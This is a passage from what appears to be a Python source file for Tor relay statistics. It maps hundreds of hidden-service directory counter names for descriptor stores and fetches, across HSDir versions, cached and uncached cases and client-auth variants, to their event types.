'HSDirStoreRejectCachedDescriptorByteCount' : { HSDIR_STORE_EVENT },
'HSDirStoreRejectCachedDescriptorByteHistogram' : { HSDIR_STORE_EVENT },
'HSDirStoreRejectCachedIntroByteCount' : { HSDIR_STORE_EVENT },
'HSDirStoreRejectCachedIntroByteHistogram' : { HSDIR_STORE_EVENT },
'HSDirStoreRejectCachedReasonCountList' : { HSDIR_STORE_EVENT },
'HSDirStoreRejectUncachedCount' : { HSDIR_STORE_EVENT },
'HSDirStoreRejectUncachedDescriptorByteCount' : { HSDIR_STORE_EVENT },
'HSDirStoreRejectUncachedDescriptorByteHistogram' : { HSDIR_STORE_EVENT },
'HSDirStoreRejectUncachedIntroByteCount' : { HSDIR_STORE_EVENT },
'HSDirStoreRejectUncachedIntroByteHistogram' : { HSDIR_STORE_EVENT },
'HSDirStoreRejectUncachedReasonCountList' : { HSDIR_STORE_EVENT },
'HSDir2StoreCount' : { HSDIR_STORE_EVENT },
'HSDir2StoreDescriptorByteCount' : { HSDIR_STORE_EVENT },
'HSDir2StoreDescriptorByteHistogram' : { HSDIR_STORE_EVENT },
'HSDir2StoreIntroByteCount' : { HSDIR_STORE_EVENT },
'HSDir2StoreIntroByteHistogram' : { HSDIR_STORE_EVENT },
'HSDir2StoreIntroPointHistogram' : { HSDIR_STORE_EVENT },
'HSDir2StoreUploadDelayTime' : { HSDIR_STORE_EVENT },
'HSDir2StoreReasonCountList' : { HSDIR_STORE_EVENT },
'HSDir2StoreOnionAddressCountList' : { HSDIR_STORE_EVENT },
'HSDir2StoreClientAuthCount' : { HSDIR_STORE_EVENT },
'HSDir2StoreClientAuthDescriptorByteCount' : { HSDIR_STORE_EVENT },
'HSDir2StoreClientAuthDescriptorByteHistogram' : { HSDIR_STORE_EVENT },
'HSDir2StoreClientAuthIntroByteCount' : { HSDIR_STORE_EVENT },
'HSDir2StoreClientAuthIntroByteHistogram' : { HSDIR_STORE_EVENT },
'HSDir2StoreClientAuthIntroPointHistogram' : { HSDIR_STORE_EVENT },
'HSDir2StoreClientAuthUploadDelayTime' : { HSDIR_STORE_EVENT },
'HSDir2StoreClientAuthReasonCountList' : { HSDIR_STORE_EVENT },
'HSDir2StoreClientAuthOnionAddressCountList' : { HSDIR_STORE_EVENT },
'HSDir2StoreNoClientAuthCount' : { HSDIR_STORE_EVENT },
'HSDir2StoreNoClientAuthDescriptorByteCount' : { HSDIR_STORE_EVENT },
'HSDir2StoreNoClientAuthDescriptorByteHistogram' : { HSDIR_STORE_EVENT },
'HSDir2StoreNoClientAuthIntroByteCount' : { HSDIR_STORE_EVENT },
'HSDir2StoreNoClientAuthIntroByteHistogram' : { HSDIR_STORE_EVENT },
'HSDir2StoreNoClientAuthIntroPointHistogram' : { HSDIR_STORE_EVENT },
'HSDir2StoreNoClientAuthUploadDelayTime' : { HSDIR_STORE_EVENT },
'HSDir2StoreNoClientAuthReasonCountList' : { HSDIR_STORE_EVENT },
'HSDir2StoreNoClientAuthOnionAddressCountList' : { HSDIR_STORE_EVENT },
'HSDir2StoreCachedCount' : { HSDIR_STORE_EVENT },
'HSDir2StoreCachedDescriptorByteCount' : { HSDIR_STORE_EVENT },
'HSDir2StoreCachedDescriptorByteHistogram' : { HSDIR_STORE_EVENT },
'HSDir2StoreCachedIntroByteCount' : { HSDIR_STORE_EVENT },
'HSDir2StoreCachedIntroByteHistogram' : { HSDIR_STORE_EVENT },
'HSDir2StoreCachedIntroPointHistogram' : { HSDIR_STORE_EVENT },
'HSDir2StoreCachedUploadDelayTime' : { HSDIR_STORE_EVENT },
'HSDir2StoreCachedReasonCountList' : { HSDIR_STORE_EVENT },
'HSDir2StoreCachedOnionAddressCountList' : { HSDIR_STORE_EVENT },
'HSDir2StoreCachedClientAuthCount' : { HSDIR_STORE_EVENT },
'HSDir2StoreCachedClientAuthDescriptorByteCount' : { HSDIR_STORE_EVENT },
'HSDir2StoreCachedClientAuthDescriptorByteHistogram' : { HSDIR_STORE_EVENT },
'HSDir2StoreCachedClientAuthIntroByteCount' : { HSDIR_STORE_EVENT },
'HSDir2StoreCachedClientAuthIntroByteHistogram' : { HSDIR_STORE_EVENT },
'HSDir2StoreCachedClientAuthIntroPointHistogram' : { HSDIR_STORE_EVENT },
'HSDir2StoreCachedClientAuthUploadDelayTime' : { HSDIR_STORE_EVENT },
'HSDir2StoreCachedClientAuthReasonCountList' : { HSDIR_STORE_EVENT },
'HSDir2StoreCachedClientAuthOnionAddressCountList' : { HSDIR_STORE_EVENT },
'HSDir2StoreCachedNoClientAuthCount' : { HSDIR_STORE_EVENT },
'HSDir2StoreCachedNoClientAuthDescriptorByteCount' : { HSDIR_STORE_EVENT },
'HSDir2StoreCachedNoClientAuthDescriptorByteHistogram' : { HSDIR_STORE_EVENT },
'HSDir2StoreCachedNoClientAuthIntroByteCount' : { HSDIR_STORE_EVENT },
'HSDir2StoreCachedNoClientAuthIntroByteHistogram' : { HSDIR_STORE_EVENT },
'HSDir2StoreCachedNoClientAuthIntroPointHistogram' : { HSDIR_STORE_EVENT },
'HSDir2StoreCachedNoClientAuthUploadDelayTime' : { HSDIR_STORE_EVENT },
'HSDir2StoreCachedNoClientAuthReasonCountList' : { HSDIR_STORE_EVENT },
'HSDir2StoreCachedNoClientAuthOnionAddressCountList' : { HSDIR_STORE_EVENT },
'HSDir2StoreUncachedCount' : { HSDIR_STORE_EVENT },
'HSDir2StoreUncachedDescriptorByteCount' : { HSDIR_STORE_EVENT },
'HSDir2StoreUncachedDescriptorByteHistogram' : { HSDIR_STORE_EVENT },
'HSDir2StoreUncachedIntroByteCount' : { HSDIR_STORE_EVENT },
'HSDir2StoreUncachedIntroByteHistogram' : { HSDIR_STORE_EVENT },
'HSDir2StoreUncachedIntroPointHistogram' : { HSDIR_STORE_EVENT },
'HSDir2StoreUncachedUploadDelayTime' : { HSDIR_STORE_EVENT },
'HSDir2StoreUncachedReasonCountList' : { HSDIR_STORE_EVENT },
'HSDir2StoreUncachedOnionAddressCountList' : { HSDIR_STORE_EVENT },
'HSDir2StoreUncachedClientAuthCount' : { HSDIR_STORE_EVENT },
'HSDir2StoreUncachedClientAuthDescriptorByteCount' : { HSDIR_STORE_EVENT },
'HSDir2StoreUncachedClientAuthDescriptorByteHistogram' : { HSDIR_STORE_EVENT },
'HSDir2StoreUncachedClientAuthIntroByteCount' : { HSDIR_STORE_EVENT },
'HSDir2StoreUncachedClientAuthIntroByteHistogram' : { HSDIR_STORE_EVENT },
'HSDir2StoreUncachedClientAuthIntroPointHistogram' : { HSDIR_STORE_EVENT },
'HSDir2StoreUncachedClientAuthUploadDelayTime' : { HSDIR_STORE_EVENT },
'HSDir2StoreUncachedClientAuthReasonCountList' : { HSDIR_STORE_EVENT },
'HSDir2StoreUncachedClientAuthOnionAddressCountList' : { HSDIR_STORE_EVENT },
'HSDir2StoreUncachedNoClientAuthCount' : { HSDIR_STORE_EVENT },
'HSDir2StoreUncachedNoClientAuthDescriptorByteCount' : { HSDIR_STORE_EVENT },
'HSDir2StoreUncachedNoClientAuthDescriptorByteHistogram' : { HSDIR_STORE_EVENT },
'HSDir2StoreUncachedNoClientAuthIntroByteCount' : { HSDIR_STORE_EVENT },
'HSDir2StoreUncachedNoClientAuthIntroByteHistogram' : { HSDIR_STORE_EVENT },
'HSDir2StoreUncachedNoClientAuthIntroPointHistogram' : { HSDIR_STORE_EVENT },
'HSDir2StoreUncachedNoClientAuthUploadDelayTime' : { HSDIR_STORE_EVENT },
'HSDir2StoreUncachedNoClientAuthReasonCountList' : { HSDIR_STORE_EVENT },
'HSDir2StoreUncachedNoClientAuthOnionAddressCountList' : { HSDIR_STORE_EVENT },
'HSDir2StoreAddCount' : { HSDIR_STORE_EVENT },
'HSDir2StoreAddDescriptorByteCount' : { HSDIR_STORE_EVENT },
'HSDir2StoreAddDescriptorByteHistogram' : { HSDIR_STORE_EVENT },
'HSDir2StoreAddIntroByteCount' : { HSDIR_STORE_EVENT },
'HSDir2StoreAddIntroByteHistogram' : { HSDIR_STORE_EVENT },
'HSDir2StoreAddIntroPointHistogram' : { HSDIR_STORE_EVENT },
'HSDir2StoreAddUploadDelayTime' : { HSDIR_STORE_EVENT },
'HSDir2StoreAddReasonCountList' : { HSDIR_STORE_EVENT },
'HSDir2StoreAddOnionAddressCountList' : { HSDIR_STORE_EVENT },
'HSDir2StoreAddClientAuthCount' : { HSDIR_STORE_EVENT },
'HSDir2StoreAddClientAuthDescriptorByteCount' : { HSDIR_STORE_EVENT },
'HSDir2StoreAddClientAuthDescriptorByteHistogram' : { HSDIR_STORE_EVENT },
'HSDir2StoreAddClientAuthIntroByteCount' : { HSDIR_STORE_EVENT },
'HSDir2StoreAddClientAuthIntroByteHistogram' : { HSDIR_STORE_EVENT },
'HSDir2StoreAddClientAuthIntroPointHistogram' : { HSDIR_STORE_EVENT },
'HSDir2StoreAddClientAuthUploadDelayTime' : { HSDIR_STORE_EVENT },
'HSDir2StoreAddClientAuthReasonCountList' : { HSDIR_STORE_EVENT },
'HSDir2StoreAddClientAuthOnionAddressCountList' : { HSDIR_STORE_EVENT },
'HSDir2StoreAddNoClientAuthCount' : { HSDIR_STORE_EVENT },
'HSDir2StoreAddNoClientAuthDescriptorByteCount' : { HSDIR_STORE_EVENT },
'HSDir2StoreAddNoClientAuthDescriptorByteHistogram' : { HSDIR_STORE_EVENT },
'HSDir2StoreAddNoClientAuthIntroByteCount' : { HSDIR_STORE_EVENT },
'HSDir2StoreAddNoClientAuthIntroByteHistogram' : { HSDIR_STORE_EVENT },
'HSDir2StoreAddNoClientAuthIntroPointHistogram' : { HSDIR_STORE_EVENT },
'HSDir2StoreAddNoClientAuthUploadDelayTime' : { HSDIR_STORE_EVENT },
'HSDir2StoreAddNoClientAuthReasonCountList' : { HSDIR_STORE_EVENT },
'HSDir2StoreAddNoClientAuthOnionAddressCountList' : { HSDIR_STORE_EVENT },
'HSDir2StoreAddCachedCount' : { HSDIR_STORE_EVENT },
'HSDir2StoreAddCachedDescriptorByteCount' : { HSDIR_STORE_EVENT },
'HSDir2StoreAddCachedDescriptorByteHistogram' : { HSDIR_STORE_EVENT },
'HSDir2StoreAddCachedIntroByteCount' : { HSDIR_STORE_EVENT },
'HSDir2StoreAddCachedIntroByteHistogram' : { HSDIR_STORE_EVENT },
'HSDir2StoreAddCachedIntroPointHistogram' : { HSDIR_STORE_EVENT },
'HSDir2StoreAddCachedUploadDelayTime' : { HSDIR_STORE_EVENT },
'HSDir2StoreAddCachedReasonCountList' : { HSDIR_STORE_EVENT },
'HSDir2StoreAddCachedOnionAddressCountList' : { HSDIR_STORE_EVENT },
'HSDir2StoreAddCachedClientAuthCount' : { HSDIR_STORE_EVENT },
'HSDir2StoreAddCachedClientAuthDescriptorByteCount' : { HSDIR_STORE_EVENT },
'HSDir2StoreAddCachedClientAuthDescriptorByteHistogram' : { HSDIR_STORE_EVENT },
'HSDir2StoreAddCachedClientAuthIntroByteCount' : { HSDIR_STORE_EVENT },
'HSDir2StoreAddCachedClientAuthIntroByteHistogram' : { HSDIR_STORE_EVENT },
'HSDir2StoreAddCachedClientAuthIntroPointHistogram' : { HSDIR_STORE_EVENT },
'HSDir2StoreAddCachedClientAuthUploadDelayTime' : { HSDIR_STORE_EVENT },
'HSDir2StoreAddCachedClientAuthReasonCountList' : { HSDIR_STORE_EVENT },
'HSDir2StoreAddCachedClientAuthOnionAddressCountList' : { HSDIR_STORE_EVENT },
'HSDir2StoreAddCachedNoClientAuthCount' : { HSDIR_STORE_EVENT },
'HSDir2StoreAddCachedNoClientAuthDescriptorByteCount' : { HSDIR_STORE_EVENT },
'HSDir2StoreAddCachedNoClientAuthDescriptorByteHistogram' : { HSDIR_STORE_EVENT },
'HSDir2StoreAddCachedNoClientAuthIntroByteCount' : { HSDIR_STORE_EVENT },
'HSDir2StoreAddCachedNoClientAuthIntroByteHistogram' : { HSDIR_STORE_EVENT },
'HSDir2StoreAddCachedNoClientAuthIntroPointHistogram' : { HSDIR_STORE_EVENT },
'HSDir2StoreAddCachedNoClientAuthUploadDelayTime' : { HSDIR_STORE_EVENT },
'HSDir2StoreAddCachedNoClientAuthReasonCountList' : { HSDIR_STORE_EVENT },
'HSDir2StoreAddCachedNoClientAuthOnionAddressCountList' : { HSDIR_STORE_EVENT },
'HSDir2StoreAddUncachedCount' : { HSDIR_STORE_EVENT },
'HSDir2StoreAddUncachedDescriptorByteCount' : { HSDIR_STORE_EVENT },
'HSDir2StoreAddUncachedDescriptorByteHistogram' : { HSDIR_STORE_EVENT },
'HSDir2StoreAddUncachedIntroByteCount' : { HSDIR_STORE_EVENT },
'HSDir2StoreAddUncachedIntroByteHistogram' : { HSDIR_STORE_EVENT },
'HSDir2StoreAddUncachedIntroPointHistogram' : { HSDIR_STORE_EVENT },
'HSDir2StoreAddUncachedUploadDelayTime' : { HSDIR_STORE_EVENT },
'HSDir2StoreAddUncachedReasonCountList' : { HSDIR_STORE_EVENT },
'HSDir2StoreAddUncachedOnionAddressCountList' : { HSDIR_STORE_EVENT },
'HSDir2StoreAddUncachedClientAuthCount' : { HSDIR_STORE_EVENT },
'HSDir2StoreAddUncachedClientAuthDescriptorByteCount' : { HSDIR_STORE_EVENT },
'HSDir2StoreAddUncachedClientAuthDescriptorByteHistogram' : { HSDIR_STORE_EVENT },
'HSDir2StoreAddUncachedClientAuthIntroByteCount' : { HSDIR_STORE_EVENT },
'HSDir2StoreAddUncachedClientAuthIntroByteHistogram' : { HSDIR_STORE_EVENT },
'HSDir2StoreAddUncachedClientAuthIntroPointHistogram' : { HSDIR_STORE_EVENT },
'HSDir2StoreAddUncachedClientAuthUploadDelayTime' : { HSDIR_STORE_EVENT },
'HSDir2StoreAddUncachedClientAuthReasonCountList' : { HSDIR_STORE_EVENT },
'HSDir2StoreAddUncachedClientAuthOnionAddressCountList' : { HSDIR_STORE_EVENT },
'HSDir2StoreAddUncachedNoClientAuthCount' : { HSDIR_STORE_EVENT },
'HSDir2StoreAddUncachedNoClientAuthDescriptorByteCount' : { HSDIR_STORE_EVENT },
'HSDir2StoreAddUncachedNoClientAuthDescriptorByteHistogram' : { HSDIR_STORE_EVENT },
'HSDir2StoreAddUncachedNoClientAuthIntroByteCount' : { HSDIR_STORE_EVENT },
'HSDir2StoreAddUncachedNoClientAuthIntroByteHistogram' : { HSDIR_STORE_EVENT },
'HSDir2StoreAddUncachedNoClientAuthIntroPointHistogram' : { HSDIR_STORE_EVENT },
'HSDir2StoreAddUncachedNoClientAuthUploadDelayTime' : { HSDIR_STORE_EVENT },
'HSDir2StoreAddUncachedNoClientAuthReasonCountList' : { HSDIR_STORE_EVENT },
'HSDir2StoreAddUncachedNoClientAuthOnionAddressCountList' : { HSDIR_STORE_EVENT },
'HSDir2StoreRejectCount' : { HSDIR_STORE_EVENT },
'HSDir2StoreRejectDescriptorByteCount' : { HSDIR_STORE_EVENT },
'HSDir2StoreRejectDescriptorByteHistogram' : { HSDIR_STORE_EVENT },
'HSDir2StoreRejectIntroByteCount' : { HSDIR_STORE_EVENT },
'HSDir2StoreRejectIntroByteHistogram' : { HSDIR_STORE_EVENT },
'HSDir2StoreRejectIntroPointHistogram' : { HSDIR_STORE_EVENT },
'HSDir2StoreRejectUploadDelayTime' : { HSDIR_STORE_EVENT },
'HSDir2StoreRejectReasonCountList' : { HSDIR_STORE_EVENT },
'HSDir2StoreRejectOnionAddressCountList' : { HSDIR_STORE_EVENT },
'HSDir2StoreRejectClientAuthCount' : { HSDIR_STORE_EVENT },
'HSDir2StoreRejectClientAuthDescriptorByteCount' : { HSDIR_STORE_EVENT },
'HSDir2StoreRejectClientAuthDescriptorByteHistogram' : { HSDIR_STORE_EVENT },
'HSDir2StoreRejectClientAuthIntroByteCount' : { HSDIR_STORE_EVENT },
'HSDir2StoreRejectClientAuthIntroByteHistogram' : { HSDIR_STORE_EVENT },
'HSDir2StoreRejectClientAuthIntroPointHistogram' : { HSDIR_STORE_EVENT },
'HSDir2StoreRejectClientAuthUploadDelayTime' : { HSDIR_STORE_EVENT },
'HSDir2StoreRejectClientAuthReasonCountList' : { HSDIR_STORE_EVENT },
'HSDir2StoreRejectClientAuthOnionAddressCountList' : { HSDIR_STORE_EVENT },
'HSDir2StoreRejectNoClientAuthCount' : { HSDIR_STORE_EVENT },
'HSDir2StoreRejectNoClientAuthDescriptorByteCount' : { HSDIR_STORE_EVENT },
'HSDir2StoreRejectNoClientAuthDescriptorByteHistogram' : { HSDIR_STORE_EVENT },
'HSDir2StoreRejectNoClientAuthIntroByteCount' : { HSDIR_STORE_EVENT },
'HSDir2StoreRejectNoClientAuthIntroByteHistogram' : { HSDIR_STORE_EVENT },
'HSDir2StoreRejectNoClientAuthIntroPointHistogram' : { HSDIR_STORE_EVENT },
'HSDir2StoreRejectNoClientAuthUploadDelayTime' : { HSDIR_STORE_EVENT },
'HSDir2StoreRejectNoClientAuthReasonCountList' : { HSDIR_STORE_EVENT },
'HSDir2StoreRejectNoClientAuthOnionAddressCountList' : { HSDIR_STORE_EVENT },
'HSDir2StoreRejectCachedCount' : { HSDIR_STORE_EVENT },
'HSDir2StoreRejectCachedDescriptorByteCount' : { HSDIR_STORE_EVENT },
'HSDir2StoreRejectCachedDescriptorByteHistogram' : { HSDIR_STORE_EVENT },
'HSDir2StoreRejectCachedIntroByteCount' : { HSDIR_STORE_EVENT },
'HSDir2StoreRejectCachedIntroByteHistogram' : { HSDIR_STORE_EVENT },
'HSDir2StoreRejectCachedIntroPointHistogram' : { HSDIR_STORE_EVENT },
'HSDir2StoreRejectCachedUploadDelayTime' : { HSDIR_STORE_EVENT },
'HSDir2StoreRejectCachedReasonCountList' : { HSDIR_STORE_EVENT },
'HSDir2StoreRejectCachedOnionAddressCountList' : { HSDIR_STORE_EVENT },
'HSDir2StoreRejectCachedClientAuthCount' : { HSDIR_STORE_EVENT },
'HSDir2StoreRejectCachedClientAuthDescriptorByteCount' : { HSDIR_STORE_EVENT },
'HSDir2StoreRejectCachedClientAuthDescriptorByteHistogram' : { HSDIR_STORE_EVENT },
'HSDir2StoreRejectCachedClientAuthIntroByteCount' : { HSDIR_STORE_EVENT },
'HSDir2StoreRejectCachedClientAuthIntroByteHistogram' : { HSDIR_STORE_EVENT },
'HSDir2StoreRejectCachedClientAuthIntroPointHistogram' : { HSDIR_STORE_EVENT },
'HSDir2StoreRejectCachedClientAuthUploadDelayTime' : { HSDIR_STORE_EVENT },
'HSDir2StoreRejectCachedClientAuthReasonCountList' : { HSDIR_STORE_EVENT },
'HSDir2StoreRejectCachedClientAuthOnionAddressCountList' : { HSDIR_STORE_EVENT },
'HSDir2StoreRejectCachedNoClientAuthCount' : { HSDIR_STORE_EVENT },
'HSDir2StoreRejectCachedNoClientAuthDescriptorByteCount' : { HSDIR_STORE_EVENT },
'HSDir2StoreRejectCachedNoClientAuthDescriptorByteHistogram' : { HSDIR_STORE_EVENT },
'HSDir2StoreRejectCachedNoClientAuthIntroByteCount' : { HSDIR_STORE_EVENT },
'HSDir2StoreRejectCachedNoClientAuthIntroByteHistogram' : { HSDIR_STORE_EVENT },
'HSDir2StoreRejectCachedNoClientAuthIntroPointHistogram' : { HSDIR_STORE_EVENT },
'HSDir2StoreRejectCachedNoClientAuthUploadDelayTime' : { HSDIR_STORE_EVENT },
'HSDir2StoreRejectCachedNoClientAuthReasonCountList' : { HSDIR_STORE_EVENT },
'HSDir2StoreRejectCachedNoClientAuthOnionAddressCountList' : { HSDIR_STORE_EVENT },
'HSDir2StoreRejectUncachedCount' : { HSDIR_STORE_EVENT },
'HSDir2StoreRejectUncachedDescriptorByteCount' : { HSDIR_STORE_EVENT },
'HSDir2StoreRejectUncachedDescriptorByteHistogram' : { HSDIR_STORE_EVENT },
'HSDir2StoreRejectUncachedIntroByteCount' : { HSDIR_STORE_EVENT },
'HSDir2StoreRejectUncachedIntroByteHistogram' : { HSDIR_STORE_EVENT },
'HSDir2StoreRejectUncachedIntroPointHistogram' : { HSDIR_STORE_EVENT },
'HSDir2StoreRejectUncachedUploadDelayTime' : { HSDIR_STORE_EVENT },
'HSDir2StoreRejectUncachedReasonCountList' : { HSDIR_STORE_EVENT },
'HSDir2StoreRejectUncachedOnionAddressCountList' : { HSDIR_STORE_EVENT },
'HSDir2StoreRejectUncachedClientAuthCount' : { HSDIR_STORE_EVENT },
'HSDir2StoreRejectUncachedClientAuthDescriptorByteCount' : { HSDIR_STORE_EVENT },
'HSDir2StoreRejectUncachedClientAuthDescriptorByteHistogram' : { HSDIR_STORE_EVENT },
'HSDir2StoreRejectUncachedClientAuthIntroByteCount' : { HSDIR_STORE_EVENT },
'HSDir2StoreRejectUncachedClientAuthIntroByteHistogram' : { HSDIR_STORE_EVENT },
'HSDir2StoreRejectUncachedClientAuthIntroPointHistogram' : { HSDIR_STORE_EVENT },
'HSDir2StoreRejectUncachedClientAuthUploadDelayTime' : { HSDIR_STORE_EVENT },
'HSDir2StoreRejectUncachedClientAuthReasonCountList' : { HSDIR_STORE_EVENT },
'HSDir2StoreRejectUncachedClientAuthOnionAddressCountList' : { HSDIR_STORE_EVENT },
'HSDir2StoreRejectUncachedNoClientAuthCount' : { HSDIR_STORE_EVENT },
'HSDir2StoreRejectUncachedNoClientAuthDescriptorByteCount' : { HSDIR_STORE_EVENT },
'HSDir2StoreRejectUncachedNoClientAuthDescriptorByteHistogram' : { HSDIR_STORE_EVENT },
'HSDir2StoreRejectUncachedNoClientAuthIntroByteCount' : { HSDIR_STORE_EVENT },
'HSDir2StoreRejectUncachedNoClientAuthIntroByteHistogram' : { HSDIR_STORE_EVENT },
'HSDir2StoreRejectUncachedNoClientAuthIntroPointHistogram' : { HSDIR_STORE_EVENT },
'HSDir2StoreRejectUncachedNoClientAuthUploadDelayTime' : { HSDIR_STORE_EVENT },
'HSDir2StoreRejectUncachedNoClientAuthReasonCountList' : { HSDIR_STORE_EVENT },
'HSDir2StoreRejectUncachedNoClientAuthOnionAddressCountList' : { HSDIR_STORE_EVENT },
'HSDir3StoreCount' : { HSDIR_STORE_EVENT },
'HSDir3StoreDescriptorByteCount' : { HSDIR_STORE_EVENT },
'HSDir3StoreDescriptorByteHistogram' : { HSDIR_STORE_EVENT },
'HSDir3StoreIntroByteCount' : { HSDIR_STORE_EVENT },
'HSDir3StoreIntroByteHistogram' : { HSDIR_STORE_EVENT },
'HSDir3StoreRevisionHistogram' : { HSDIR_STORE_EVENT },
'HSDir3StoreReasonCountList' : { HSDIR_STORE_EVENT },
'HSDir3StoreCachedCount' : { HSDIR_STORE_EVENT },
'HSDir3StoreCachedDescriptorByteCount' : { HSDIR_STORE_EVENT },
'HSDir3StoreCachedDescriptorByteHistogram' : { HSDIR_STORE_EVENT },
'HSDir3StoreCachedIntroByteCount' : { HSDIR_STORE_EVENT },
'HSDir3StoreCachedIntroByteHistogram' : { HSDIR_STORE_EVENT },
'HSDir3StoreCachedRevisionHistogram' : { HSDIR_STORE_EVENT },
'HSDir3StoreCachedReasonCountList' : { HSDIR_STORE_EVENT },
'HSDir3StoreUncachedCount' : { HSDIR_STORE_EVENT },
'HSDir3StoreUncachedDescriptorByteCount' : { HSDIR_STORE_EVENT },
'HSDir3StoreUncachedDescriptorByteHistogram' : { HSDIR_STORE_EVENT },
'HSDir3StoreUncachedIntroByteCount' : { HSDIR_STORE_EVENT },
'HSDir3StoreUncachedIntroByteHistogram' : { HSDIR_STORE_EVENT },
'HSDir3StoreUncachedRevisionHistogram' : { HSDIR_STORE_EVENT },
'HSDir3StoreUncachedReasonCountList' : { HSDIR_STORE_EVENT },
'HSDir3StoreAddCount' : { HSDIR_STORE_EVENT },
'HSDir3StoreAddDescriptorByteCount' : { HSDIR_STORE_EVENT },
'HSDir3StoreAddDescriptorByteHistogram' : { HSDIR_STORE_EVENT },
'HSDir3StoreAddIntroByteCount' : { HSDIR_STORE_EVENT },
'HSDir3StoreAddIntroByteHistogram' : { HSDIR_STORE_EVENT },
'HSDir3StoreAddRevisionHistogram' : { HSDIR_STORE_EVENT },
'HSDir3StoreAddReasonCountList' : { HSDIR_STORE_EVENT },
'HSDir3StoreAddCachedCount' : { HSDIR_STORE_EVENT },
'HSDir3StoreAddCachedDescriptorByteCount' : { HSDIR_STORE_EVENT },
'HSDir3StoreAddCachedDescriptorByteHistogram' : { HSDIR_STORE_EVENT },
'HSDir3StoreAddCachedIntroByteCount' : { HSDIR_STORE_EVENT },
'HSDir3StoreAddCachedIntroByteHistogram' : { HSDIR_STORE_EVENT },
'HSDir3StoreAddCachedRevisionHistogram' : { HSDIR_STORE_EVENT },
'HSDir3StoreAddCachedReasonCountList' : { HSDIR_STORE_EVENT },
'HSDir3StoreAddUncachedCount' : { HSDIR_STORE_EVENT },
'HSDir3StoreAddUncachedDescriptorByteCount' : { HSDIR_STORE_EVENT },
'HSDir3StoreAddUncachedDescriptorByteHistogram' : { HSDIR_STORE_EVENT },
'HSDir3StoreAddUncachedIntroByteCount' : { HSDIR_STORE_EVENT },
'HSDir3StoreAddUncachedIntroByteHistogram' : { HSDIR_STORE_EVENT },
'HSDir3StoreAddUncachedRevisionHistogram' : { HSDIR_STORE_EVENT },
'HSDir3StoreAddUncachedReasonCountList' : { HSDIR_STORE_EVENT },
'HSDir3StoreRejectCount' : { HSDIR_STORE_EVENT },
'HSDir3StoreRejectDescriptorByteCount' : { HSDIR_STORE_EVENT },
'HSDir3StoreRejectDescriptorByteHistogram' : { HSDIR_STORE_EVENT },
'HSDir3StoreRejectIntroByteCount' : { HSDIR_STORE_EVENT },
'HSDir3StoreRejectIntroByteHistogram' : { HSDIR_STORE_EVENT },
'HSDir3StoreRejectRevisionHistogram' : { HSDIR_STORE_EVENT },
'HSDir3StoreRejectReasonCountList' : { HSDIR_STORE_EVENT },
'HSDir3StoreRejectCachedCount' : { HSDIR_STORE_EVENT },
'HSDir3StoreRejectCachedDescriptorByteCount' : { HSDIR_STORE_EVENT },
'HSDir3StoreRejectCachedDescriptorByteHistogram' : { HSDIR_STORE_EVENT },
'HSDir3StoreRejectCachedIntroByteCount' : { HSDIR_STORE_EVENT },
'HSDir3StoreRejectCachedIntroByteHistogram' : { HSDIR_STORE_EVENT },
'HSDir3StoreRejectCachedRevisionHistogram' : { HSDIR_STORE_EVENT },
'HSDir3StoreRejectCachedReasonCountList' : { HSDIR_STORE_EVENT },
'HSDir3StoreRejectUncachedCount' : { HSDIR_STORE_EVENT },
'HSDir3StoreRejectUncachedDescriptorByteCount' : { HSDIR_STORE_EVENT },
'HSDir3StoreRejectUncachedDescriptorByteHistogram' : { HSDIR_STORE_EVENT },
'HSDir3StoreRejectUncachedIntroByteCount' : { HSDIR_STORE_EVENT },
'HSDir3StoreRejectUncachedIntroByteHistogram' : { HSDIR_STORE_EVENT },
'HSDir3StoreRejectUncachedRevisionHistogram' : { HSDIR_STORE_EVENT },
'HSDir3StoreRejectUncachedReasonCountList' : { HSDIR_STORE_EVENT },
# descriptor fetch counters
# HSDir Fetch /Cached/Uncached Count/{Descriptor,Intro}Byte{Count,Histogram}/ReasonCountList
'HSDirFetchCount' : { HSDIR_FETCH_EVENT },
'HSDirFetchDescriptorByteCount' : { HSDIR_FETCH_EVENT },
'HSDirFetchDescriptorByteHistogram' : { HSDIR_FETCH_EVENT },
'HSDirFetchIntroByteCount' : { HSDIR_FETCH_EVENT },
'HSDirFetchIntroByteHistogram' : { HSDIR_FETCH_EVENT },
'HSDirFetchReasonCountList' : { HSDIR_FETCH_EVENT },
'HSDirFetchCachedCount' : { HSDIR_FETCH_EVENT },
'HSDirFetchCachedDescriptorByteCount' : { HSDIR_FETCH_EVENT },
'HSDirFetchCachedDescriptorByteHistogram' : { HSDIR_FETCH_EVENT },
'HSDirFetchCachedIntroByteCount' : { HSDIR_FETCH_EVENT },
'HSDirFetchCachedIntroByteHistogram' : { HSDIR_FETCH_EVENT },
'HSDirFetchCachedReasonCountList' : { HSDIR_FETCH_EVENT },
'HSDirFetchUncachedCount' : { HSDIR_FETCH_EVENT },
'HSDirFetchUncachedDescriptorByteCount' : { HSDIR_FETCH_EVENT },
'HSDirFetchUncachedDescriptorByteHistogram' : { HSDIR_FETCH_EVENT },
'HSDirFetchUncachedIntroByteCount' : { HSDIR_FETCH_EVENT },
'HSDirFetchUncachedIntroByteHistogram' : { HSDIR_FETCH_EVENT },
'HSDirFetchUncachedReasonCountList' : { HSDIR_FETCH_EVENT },
# HSDir 2 Fetch /Cached/Uncached /ClientAuth/NoClientAuth Count/{Descriptor,Intro}Byte{Count,Histogram}/IntroPointHistogram/ReasonCountList/OnionAddressCountList
'HSDir2FetchCount' : { HSDIR_FETCH_EVENT },
'HSDir2FetchDescriptorByteCount' : { HSDIR_FETCH_EVENT },
'HSDir2FetchDescriptorByteHistogram' : { HSDIR_FETCH_EVENT },
'HSDir2FetchIntroByteCount' : { HSDIR_FETCH_EVENT },
'HSDir2FetchIntroByteHistogram' : { HSDIR_FETCH_EVENT },
'HSDir2FetchIntroPointHistogram' : { HSDIR_FETCH_EVENT },
'HSDir2FetchReasonCountList' : { HSDIR_FETCH_EVENT },
'HSDir2FetchOnionAddressCountList' : { HSDIR_FETCH_EVENT },
'HSDir2FetchClientAuthCount' : { HSDIR_FETCH_EVENT },
'HSDir2FetchClientAuthDescriptorByteCount' : { HSDIR_FETCH_EVENT },
'HSDir2FetchClientAuthDescriptorByteHistogram' : { HSDIR_FETCH_EVENT },
'HSDir2FetchClientAuthIntroByteCount' : { HSDIR_FETCH_EVENT },
'HSDir2FetchClientAuthIntroByteHistogram' : { HSDIR_FETCH_EVENT },
'HSDir2FetchClientAuthIntroPointHistogram' : { HSDIR_FETCH_EVENT },
'HSDir2FetchClientAuthReasonCountList' : { HSDIR_FETCH_EVENT },
